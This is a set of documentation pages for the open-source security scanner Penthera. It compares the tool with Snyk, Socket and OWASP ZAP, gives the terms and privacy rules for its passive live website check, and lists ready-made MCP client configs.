|---|---|---|
| Dependencies | What each npm and Python package can do (install scripts, shell, network, env, obfuscation), what an upgrade added, typosquats, licenses | Known vulnerabilities and licenses across 13+ package ecosystems ([supported languages](https://docs.snyk.io/supported-languages/supported-languages-package-managers-and-frameworks)) |
| Your code | Route discovery, trust boundaries and secrets for JS/TS frameworks | Snyk Code static analysis in 16 languages ([supported languages](https://docs.snyk.io/supported-languages/supported-languages-package-managers-and-frameworks)) |
| Running app | URL scan (headers, TLS, CORS, auth, JWT, IDOR, OAuth, OpenAPI; opt-in injection and fuzzing) | Snyk API & Web, a DAST product on Enterprise plans ([plans](https://snyk.io/plans/)) |
| Containers, IaC | No | Yes ([CLI](https://docs.snyk.io/developer-tools/snyk-cli)) |
| AI tooling | `penthera agents`: skills, MCP servers, hooks, permissions, plugins, rule files, checked locally | Snyk Agent Scan: MCP servers and skills, sends component metadata to Snyk's API and needs a token ([agent-scan](https://github.com/snyk/agent-scan)) |
| Account | None | Required for the CLI ([authenticate](https://docs.snyk.io/developer-tools/snyk-cli/authenticate-to-use-the-cli)) |
| Fixes | Deterministic recipes as local diffs, re-scanned to verify; never pushes | Fix pull requests through SCM integrations ([fix PRs](https://docs.snyk.io/scan-with-snyk/pull-requests/snyk-fix-pull-or-merge-requests)) |
| Editor | Through your coding agent (Agent Skill) | Plugins for VS Code, JetBrains, Visual Studio, Eclipse ([IDE](https://docs.snyk.io/developer-tools/snyk-ide-plugins-and-extensions)) |
| License | MIT | CLI is Apache-2.0 ([repo](https://github.com/snyk/cli)); the platform is commercial |
| Cost | Free | Free plan with 5 projects and 100 Snyk Code tests a month; Team from $25 a month ([plans](https://snyk.io/plans/)) |

## Where Snyk goes further

- **Curated vulnerability data** across many languages, with advisories written
  and maintained by a research team. Penthera does not track CVEs for your
  dependencies beyond the vendored Retire.js database for front-end scripts.
- **Breadth**: containers, infrastructure as code, many more languages.
- **Reachability analysis** to cut a CVE list down to what you call.
- **Organization features**: dashboards, policies across many repos, reporting.

## Where Penthera adds something

- **Behavior, not only known issues.** A new install script or a package that
  suddenly reads your whole environment shows up even when no CVE exists yet.
- **The running app**, free, on localhost.
- **Fully local.** No account and no vendor API. Nothing about your code leaves
  the machine, and `--offline` limits traffic to the scan target. The AI-tooling
  audit is local too.
- **EU evidence**: NIS2 readiness, CRA report drafts, SBOM and AI-BOM, and a
  signable evidence bundle.

## Run both

```bash
snyk test                               # known vulnerabilities in dependencies
npx penthera deps --base origin/main    # what the new packages can do
npx penthera http://localhost:3000 --repo .
```

Both write SARIF, so both can upload to GitHub code scanning.

[All comparisons](https://penthera.org/docs/compare/README.md) · [Back to the README](https://penthera.org/README.md)

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/compare/socket.md · https://penthera.org/docs/compare/socket.md -->

# Penthera and Socket

> **Pro.** For "how does Penthera compare to Socket, and how do I run both?"

*Last checked: 2026-10-19 against Socket's public docs and pricing page.*

## Use them together

[Socket](https://socket.dev) watches the open-source registries for malicious and
risky packages and tells you about them in pull requests, in your editor and at
install time. Penthera runs on your machine and checks the app you built, the
packages already in your lockfile, and the AI tooling you build it with.

A reasonable setup: Socket's GitHub app or firewall on every dependency change,
because it watches new releases across the registries and Penthera does
not. Penthera before each deploy, for the app scan, the agent-config audit
and the evidence, and anywhere a network call or an account is not an option.

## Side by side

| | Penthera | Socket |
|---|---|---|
| Main question | Is the thing I am about to ship safe, and can I prove it? | Is this package safe to depend on? |
| Scope | Your running app (URL scan), your source (repo scan), your dependencies, your AI tooling (skills, MCP, hooks), fixes, NIS2 and CRA evidence | Packages across many ecosystems, plus browser extensions and AI models ([language support](https://docs.socket.dev/docs/language-support)) |
| Ecosystems for dependencies | npm and Python | JS/TS, Python, Go, Java, Ruby, .NET, Rust and more ([language support](https://docs.socket.dev/docs/language-support)) |
| How it decides | Deterministic rules in the repo, with `file:line` evidence and a confidence label | Static analysis followed by an LLM stage, with researchers confirming detections ([AI alert](https://socket.dev/alerts/gptMalware)) |
| Threat intelligence | None beyond what ships in a release | Registry-wide and continuously updated |
| Network | None needed; `--offline` limits traffic to the target you named | The CLI and firewall query Socket's API ([CLI](https://github.com/SocketDev/socket-cli), [firewall](https://docs.socket.dev/docs/socket-firewall-overview)) |
| Account | None | API token for the CLI; the firewall's free wrapper mode needs no key ([firewall](https://docs.socket.dev/docs/socket-firewall-overview)) |
| Install-time guard | `penthera install`: reviews capabilities and install scripts before any script runs (npm) | Socket Firewall (`sfw`): blocks known-malicious packages for npm, yarn, pnpm, pip, uv and cargo in free mode |
| Pull requests | GitHub Action that comments the capability diff | GitHub app that comments on risky dependency changes ([docs](https://docs.socket.dev/docs/socket-for-github)) |
| AI tooling | Audits the skills, MCP servers, hooks, permissions and plugins already on disk | An MCP server agents can use to look up package scores ([MCP guide](https://docs.socket.dev/docs/guide-to-socket-mcp)); firewall coverage for agent skills and AI models as downloads ([firewall](https://socket.dev/features/firewall)) |
| App security | URL and repo scans, fix recipes | Not its focus; SAST and secrets are on the Enterprise plan ([pricing](https://socket.dev/pricing)) |
| SBOM | CycloneDX SBOM and AI-BOM, free | Business plan and up ([pricing](https://socket.dev/pricing)) |
| License | MIT | `socket` CLI and MCP server MIT; `sfw` under PolyForm Shield 1.0.0 (source-available) ([sfw-free](https://github.com/SocketDev/sfw-free)) |
| Cost | Free | Free plan (1 seat, 1,000 scans a month); free Business plan for OSI-licensed public projects ([announcement](https://socket.dev/blog/free-business-plan-upgrades-for-open-source)); paid seats from $25 a month ([pricing](https://socket.dev/pricing)) |

## Where Socket goes further

- **It sees the whole registry.** A freshly published package with a
  credential stealer in it can be flagged by Socket before you install it.
  Penthera only sees what is in front of it, with rules from its last release.
- **More ecosystems.** Penthera's dependency checks cover npm and Python today,
  and its install firewall covers npm only.
- **Human research.** Socket's researchers confirm and publish malware
  findings. Penthera has no threat-research team.
- **Reachability** on paid plans, which narrows a long CVE list to the code paths
  you call.

## Where Penthera adds something

- **Your app, not only its packages.** Headers, auth, IDOR, OAuth, OpenAPI,
  secrets in source, and fixes that are re-scanned to prove they worked.
- **The AI tooling on your machine.** `penthera agents --home` reads your Claude
  Code, Cursor and MCP config and flags hidden instructions, unpinned servers and
  over-broad permissions.
- **Offline and account-free**, which matters on air-gapped machines, in some
  public-sector work, and for anyone who cannot send a dependency list to a
  vendor.
- **Readable verdicts.** Every finding points at a rule in this repository.

## A note on AI verdicts

Socket's AI scanner once flagged Penthera itself as malware. That is an
understandable call: Penthera's test suite contains real attack payloads,
because a security scanner has to be tested against them. It is also a fair
illustration of the trade-off. An AI stage catches novel malware that no rule
anticipated, and it can misread intent. Deterministic rules miss what they were
not written for, and they always tell you exactly why they fired. The two
approaches cover each other's gaps, which is a good reason to run both.

## Run both

```bash
sfw npm install            # Socket Firewall: block known-bad packages at install
npx penthera deps --base origin/main   # what the new packages can do, offline
npx penthera agents --home             # your AI tooling
```

[All comparisons](https://penthera.org/docs/compare/README.md) · [Back to the README](https://penthera.org/README.md)

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/compare/zap.md · https://penthera.org/docs/compare/zap.md -->

# Penthera and OWASP ZAP

> **Pro.** For "how does Penthera compare to OWASP ZAP, and how do I run both?"

*Last checked: 2026-10-19 against zaproxy.org and the ZAP GitHub repositories.*

## Use them together

[ZAP](https://www.zaproxy.org) is the long-standing open-source dynamic scanner
for web apps: a proxy, spiders, passive and active scan rules, scripting, and an
automation framework. Since September 2024 it is branded ZAP by Checkmarx and
remains Apache 2.0 ([announcement](https://www.zaproxy.org/blog/2024-09-24-zap-has-joined-forces-with-checkmarx/)).
Penthera's URL scan covers a smaller, opinionated set of checks, and pairs them
with the source code, your dependencies and your AI tooling.

A reasonable setup: Penthera as the quick first pass on every preview URL,
with source context and fixes. ZAP for deeper dynamic testing, manual
exploration through its proxy, and anything that needs a logged-in browser crawl.

## Side by side

| | Penthera | ZAP |
|---|---|---|
| Dynamic testing | Headers, TLS, CORS, cookies, auth hardening, JWT, IDOR, OAuth, OpenAPI probes; injection and fuzzing are opt-in | Passive and active scan rules, spider and AJAX spider ([features](https://www.zaproxy.org/docs/desktop/start/features/), [AJAX spider](https://www.zaproxy.org/docs/desktop/addons/ajax-spider/)) |
| API definitions | OpenAPI and FastAPI | OpenAPI, SOAP and GraphQL ([API scan](https://www.zaproxy.org/docs/docker/api-scan/)) |
| Manual testing | No | Intercepting proxy and desktop UI |
| Source code | Repo scan in the same run (`--repo .`) maps routes and finds secrets | No |
| Dependencies, AI tooling | Yes | No |
| Fixes | Framework-aware fix recipes, re-scanned to verify | Reports alerts |
| Automation | CLI, GitHub Action, SARIF | YAML Automation Framework, Docker packaged scans, the ZAP Baseline Scan action ([automate](https://www.zaproxy.org/docs/automate/)) |
| Runtime | Node.js 22+ | Java 17+, or Docker ([download](https://www.zaproxy.org/download/)) |
| License | MIT | Apache 2.0 |

## Where ZAP goes further

- **Depth of dynamic testing**: many more active scan rules, a mature crawler
  for JavaScript-heavy apps, and years of tuning.
- **Manual work**: the intercepting proxy lets a person explore and replay.
- **Authentication**: browser-based, scripted and OAuth2 logins in the
  automation framework ([automation framework](https://www.zaproxy.org/docs/automate/automation-framework/)).
  Penthera takes a cookie or bearer token.
- **Community**: a large add-on ecosystem and documentation.

## Where Penthera adds something

- **Black box and white box together.** A URL finding can point at the route
  handler in your repo, and the repo scan finds routes the crawler never saw.
- **Fixes**, applied as diffs on a local branch and re-scanned.
- **Beyond the app**: dependency capabilities, AI-tooling audit, NIS2 and CRA
  evidence.
- **A confidence label on every finding**, so a heuristic match never reads as a
  confirmed vulnerability.

## Run both

```bash
npx penthera http://localhost:3000 --repo . --sarif penthera.sarif
docker run -t ghcr.io/zaproxy/zaproxy:stable zap-baseline.py -t http://host.docker.internal:3000
```

[All comparisons](https://penthera.org/docs/compare/README.md) · [Back to the README](https://penthera.org/README.md)

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/live-check-terms.md · https://penthera.org/docs/live-check-terms.md -->

# Terms for the live check on penthera.org

> **Project page.** For "what may I do with the live check, and what does penthera.org do with it?"

Last updated: 23 October 2026.

These terms cover the quick check on [penthera.org](https://penthera.org/#scan) and its API, `POST https://penthera.org/api/check`. The Penthera command-line tool itself is covered by its [MIT license](https://github.com/danoszz/penthera/blob/main/LICENSE).

## In short

- Check only a site you own, or one you have written permission to test.
- The check is passive: it loads what one visit with a browser loads. It sends no attacks.
- It is a research-backed, educational tool. A good score is not a guarantee, and it is not a penetration test.
- Nothing about you or the site you check is stored.
- Deeper testing happens only with `npx penthera` on your own machine, under your own responsibility.

## What the check does

When you check a site, penthera.org makes these requests to it, and nothing else:

1. `GET /robots.txt`, to see whether the owner opted out (see [For site owners](#for-site-owners)).
2. `GET` the address you entered, following redirects.
3. `GET` up to 14 scripts and stylesheets that page itself references.
4. `GET /.well-known/security.txt`.
5. Public DNS lookups: SPF, DMARC and CAA records.

That is at most 20 requests, within about 8 seconds, from penthera.org's server. They identify themselves with the User-Agent `Penthera-QuickCheck/1`. It does not guess paths, look for hidden files, log in, submit forms, or send payloads of any kind. It refuses private, internal and local addresses.

## Acceptable use: zero abuse

By sliding to scan, or by sending `"consent": true` to the API, you confirm that:

- you own the site, or you are authorized by its owner to test it;
- you will not use the check, its results or the prompt it writes to harm anyone, to break into a system, or to help someone else do that;
- you will not try to get around the limits, the address checks or the consent step, or use penthera.org to send traffic to sites that are not yours.

We do not support anyone who tests a site that is not theirs to test, and we have nothing to do with people who lie about having permission. Checks that look like abuse are blocked, and we may report them to the hosting provider involved.

## No guarantee

The check and its results are provided "as is", without warranty of any kind. A clean result does not mean a site is safe: it finds known classes of problems from the outside, not business-logic flaws, authorization bugs or zero-days, and it does not replace a human penetration test. A finding may be wrong; every finding shows its evidence so you can check it yourself.

## Responsibility

You are responsible for what you check and for what you do with the results, including any change you make to a site because of them, by hand or through a coding agent. To the extent the law allows, Penthera's maintainer is not liable for any damage that results from using the check, from its results, or from a site being checked by someone who was not authorized to do so.

## Privacy

- penthera.org stores nothing about a check: not the address, not the results, not who ran it. The address travels in the request body, so it does not appear in request logs.
- To enforce the limits, the server keeps a short-lived count of requests per visitor address and per checked site, in memory only, for at most a day.
- The site is hosted on Vercel, which processes your IP address to deliver the page and the check. The page counts anonymous page views and load times with Vercel's cookieless analytics; it does not record that you ran a check or what you checked.
- The results are shown only in your browser tab. Copying the prompt puts it on your clipboard; nothing is sent anywhere.

## For site owners

If your site was checked and you did not ask for it:

- **Opt out:** add this to your `robots.txt`, and penthera.org will refuse to check your site:

  ```
  User-agent: Penthera-QuickCheck
  Disallow: /
  ```

- **Report abuse:** open an issue on [GitHub](https://github.com/danoszz/penthera/issues), or use the contact in [security.txt](https://penthera.org/.well-known/security.txt). We do not know who ran a check, because we do not store it, but we can block a pattern of abuse.

## About Penthera

Penthera is an open-source project maintained by Daan van der Zwaag, part-time and in the open. It is not a company and does not sell anything. Questions: [GitHub Discussions](https://github.com/danoszz/penthera/discussions).

## Changes

These terms may change as the check changes. The date at the top says when, and the history is in the [repository](https://github.com/danoszz/penthera/commits/main/docs/live-check-terms.md).

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/mcp-clients/README.md · https://penthera.org/docs/mcp-clients/README.md -->

# MCP client configs for `penthera mcp`

> **Starter.** For "what do I paste into my agent's MCP config?"

Ready-to-copy configs, each pinned to an exact version: 1.9.0. The test suite checks
every one with Penthera's own MCP rules (`mcp-unpinned`, `mcp-exec`,
`mcp-inline-secret`, `mcp-plain-http`).

| File | Client | Where it goes |
|---|---|---|
| `claude-code.mcp.json` | Claude Code | `.mcp.json` in the project (or `claude mcp add`) |
| `cursor.mcp.json` | Cursor | `.cursor/mcp.json` in the project, or `~/.cursor/mcp.json` |
| `vscode.mcp.json` | VS Code | `.vscode/mcp.json` in the project |
| `codex.config.toml` | Codex | `~/.codex/config.toml` |
| `windsurf.mcp_config.json` | Windsurf | `~/.codeium/windsurf/mcp_config.json` |

See [docs/commands/mcp.md](https://penthera.org/docs/commands/mcp.md) for what the server does and
does not do.